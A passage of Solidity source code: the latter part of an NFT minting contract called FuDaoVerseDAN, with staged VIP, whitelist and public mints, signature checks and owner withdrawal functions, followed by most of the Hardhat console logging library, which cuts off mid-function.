address[2] public fundRecipients = [
0xaDDfdc72494E29A131B1d4d6668184840f1Fc30C,
0xcD7BCAc7Ee5c18d8cC1374B62F09cf67e6432a08
];
uint256[] public receivePercentagePt = [7000]; //distribution in basis points
// Off-chain whitelist
address private signerAddress;
mapping(bytes => bool) private _nonceUsed;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
address _newOwner,
address _signerAddress,
address ogCollection
) ERC721(_name, _symbol) {
setNotRevealedURI(_initBaseURI);
signerAddress = _signerAddress;
transferOwnership(_newOwner);
OG = IERC721(ogCollection);
}
event VIPMint(address indexed to, uint256 tokenId);
event WhitelistMint(address indexed to, uint256 tokenId);
event PublicMint(address indexed to, uint256 mintAmount);
event DevMint(uint256 count);
event Airdrop(address indexed to, uint256 tokenId);
/**
* @notice Performs respective minting condition checks depending on stage of minting
* @param tokenIds tokenIds of VIP Pass
* @dev Stage 1: OG Mints, Free Claim for OG Pass Holders
* @dev Each Pass can only be used once to claim
* @dev Minter must be owner of OG pass to claim
*/
function vipMint(uint256[] memory tokenIds) public {
require(!paused, "FuDaoVerseDAN: Contract is paused");
require(stage > 0, "FuDaoVerseDAN: Minting has not started");
for (uint256 i; i < tokenIds.length; i++) {
require(
OG.ownerOf(tokenIds[i]) == msg.sender,
"FuDaoVerseDAN: Claimant is not the owner!"
);
require(
!isOGMinted[tokenIds[i]],
"FuDaoVerseDAN: OG Token has already been used!"
);
_vipMint(tokenIds[i]);
}
}
function _vipMint(uint256 tokenId) internal {
tokenSupply.increment();
_safeMint(msg.sender, tokenSupply.current());
isOGMinted[tokenId] = true;
VIP_PASSES--;
emit VIPMint(msg.sender, tokenSupply.current());
}
/**
* @notice VIP Whitelist Mint. VIPs are automatically whitelisted and can use their Mint pass to mint
* @param _mintAmount Amount minted for vipWhitelistMint
* @dev Stage 2: Presale Mints, VIP Automatically whitelisted
* @dev 2 VIP Whitelist Mints at stage 2, another 2 VIP Whitelist Mints at stage 2.5
* @dev Minter must hold an OG pass to VIP Whitelist Mint
*/
function vipWhitelistMint(uint8 _mintAmount) public payable {
require(!paused, "FuDaoVerseDAN: Contract is paused");
require(stage == 2, "FuDaoVerseDAN: Private Sale Closed!");
require(
msg.value == _mintAmount * presaleSalePrice,
"FuDaoVerseDAN: Insufficient ETH!"
);
require(
tokenSupply.current() + _mintAmount <= presaleSupply,
"FuDaoVerseDAN: Max Supply for Presale Mint Reached!"
);
require(
OG.balanceOf(msg.sender) > 0,
"FuDaoVerseDAN: Claimant does not own a mint pass"
);
require(
presaleMintCount[msg.sender] + _mintAmount <= presaleMintMax,
"FuDaoVerseDAN: Claimant has exceeded VIP Whitelist Mint Max!"
);
presaleMintCount[msg.sender] += _mintAmount;
for (uint8 i; i < _mintAmount; i++) {
_vipWhitelistMint();
}
}
function _vipWhitelistMint() internal {
tokenSupply.increment();
_safeMint(msg.sender, tokenSupply.current());
emit VIPMint(msg.sender, tokenSupply.current());
}
/**
* @notice Performs respective minting condition checks depending on stage of minting
* @param _mintAmount Amount that is minted
* @param nonce Random bytes32 nonce
* @param signature Signature generated off-chain
* @dev Stage 1: OG Mints, Free Claim for OG Pass Holders
* @dev Each Pass can only be used once to claim
*/
function whitelistMint(
uint8 _mintAmount,
bytes memory signature,
bytes memory nonce
) public payable {
require(!paused, "FuDaoVerseDAN: Contract is paused");
require(stage == 2, "FuDaoVerseDAN: Private Sale Closed!");
require(!_nonceUsed[nonce], "FuDaoVerseDAN: Nonce already used");
_nonceUsed[nonce] = true;
require(
whitelistSigned(msg.sender, nonce, signature),
"FuDaoVerseDAN: Invalid signature!"
);
require(
tokenSupply.current() + _mintAmount <= presaleSupply,
"FuDaoVerseDAN: Max Supply for Presale Mint Reached!"
);
require(
msg.value == _mintAmount * presaleSalePrice,
"FuDaoVerseDAN: Insufficient ETH!"
);
require(
presaleMintCount[msg.sender] + _mintAmount <= presaleMintMax,
"FuDaoVerseDAN: Wallet has already minted Max Amount for Presale!"
);
presaleMintCount[msg.sender] += _mintAmount;
for (uint256 i; i < _mintAmount; i++) {
tokenSupply.increment();
_safeMint(msg.sender, tokenSupply.current());
emit WhitelistMint(msg.sender, tokenSupply.current());
}
}
/**
* @notice Public Mint
* @param _mintAmount Amount that is minted
* @dev Stage 3: Public Mint
*/
function publicMint(uint8 _mintAmount) public payable {
require(!paused, "FuDaoVerseDAN: Contract is paused");
require(stage == 3, "FuDaoVerseDAN: Public Sale Closed!");
require(
msg.value == _mintAmount * publicSalePrice,
"FuDaoVerseDAN: Insufficient ETH!"
);
require(
tokenSupply.current() + _mintAmount <= totalSaleSupply - VIP_PASSES,
"FuDaoVerseDAN: Max Supply for Public Mint Reached!"
);
require(
publicMintCount[msg.sender] + _mintAmount <= publicMintMax,
"FuDaoVerseDAN: Wallet has already minted Max Amount for Public!"
);
publicMintCount[msg.sender] += _mintAmount; // FIX: Gas Optimization
for (uint256 i; i < _mintAmount; i++) {
tokenSupply.increment();
_safeMint(msg.sender, tokenSupply.current());
emit PublicMint(msg.sender, tokenSupply.current());
}
}
/**
* @dev Mints NFTS to the owner's wallet
* @param _mintAmount Amount to mint
*/
function devMint(uint8 _mintAmount) public onlyOwner {
require(
tokenSupply.current() + _mintAmount <= totalSaleSupply,
"FuDaoVerseDAN: Max Supply Reached!"
);
for (uint256 i; i < _mintAmount; i++) {
tokenSupply.increment();
_safeMint(msg.sender, tokenSupply.current());
}
emit DevMint(_mintAmount);
}
/**
* @dev Airdrops NFTs to the list of addresses provided
* @param addresses List of airdrop recepients
*/
function airdrop(address[] memory addresses) public onlyOwner {
require(
tokenSupply.current() + addresses.length <= totalSaleSupply,
"FuDaoVerseDAN: Max Supply Reached!"
);
for (uint256 i; i < addresses.length; i++) {
tokenSupply.increment();
_safeMint(addresses[i], tokenSupply.current());
emit Airdrop(addresses[i], tokenSupply.current());
}
}
/**
* @dev Checks if the the signature is signed by a valid signer for whitelists
* @param sender Address of minter
* @param nonce Random bytes32 nonce
* @param signature Signature generated off-chain
*/
function whitelistSigned(
address sender,
bytes memory nonce,
bytes memory signature
) private view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked(sender, nonce));
return signerAddress == hash.recover(signature);
}
// ------------------------- VIEW FUNCTIONS -----------------------------
/**
* @notice Returns metadata URI for sepecified token id
* @param tokenId Token Id to retrieve metadata
* @return Metadata URI
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(
currentBaseURI,
tokenId.toString(),
".json"
)
)
: "";
}
/**
* @notice Total NFTs Minted
*/
function totalSupply() public view returns (uint256) {
return tokenSupply.current();
}
// ------------------------- ADMIN FUNCTIONS -----------------------------
/**
* @dev Set Mint Stage
*/
function setStage(uint8 _stage) public onlyOwner {
require(stage < 4, "FuDaoVerseDAN: Exceeded maximum number of stages");
stage = _stage;
}
/**
* @dev Set Revealed Metadata URI
*/
function setBaseURI(string memory _newBaseURI) public onlyOwner {
require(!revealed);
baseURI = _newBaseURI;
}
/**
* @dev Set Presale maximum amount of mints
*/
function setPresaleMintMax(uint256 amount) public onlyOwner {
presaleMintMax = amount;
}
/**
* @dev Set the unrevealed URI
* @param _notRevealedURI unrevealed URI for metadata
*/
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
/**
* @dev Set Revealed state of NFT metadata
*/
function reveal() public onlyOwner {
revealed = true;
}
/**
* @dev Switches pause state to `_state`
* @param _state Pause State
*/
function pause(bool _state) public onlyOwner {
paused = _state;
}
/**
* @dev Emergency Function to withdraw any ETH deposited to this contract
*/
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{
value: address(this).balance
}("");
require(success);
}
/**
* @dev requires currentBalance of contract to have some amount
* @dev withdraws with the fixed define distribution
*/
function withdrawFund() public onlyOwner {
uint256 currentBal = address(this).balance;
require(currentBal > 0);
for (uint256 i = 0; i < fundRecipients.length - 1; i++) {
_withdraw(
fundRecipients[i],
(currentBal * receivePercentagePt[i]) / 10000
);
}
//final address receives remainder to prevent ether dust
_withdraw(
fundRecipients[fundRecipients.length - 1],
address(this).balance
);
}
/**
* @dev private function utilized by withdrawFund
* @param _addr Address of receiver
* @param _amt Amount to withdraw
*/
function _withdraw(address _addr, uint256 _amt) private {
(bool success, ) = _addr.call{value: _amt}("");
require(success, "Transfer failed");
}
/**
* @dev retrieve base URI internally
*/
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
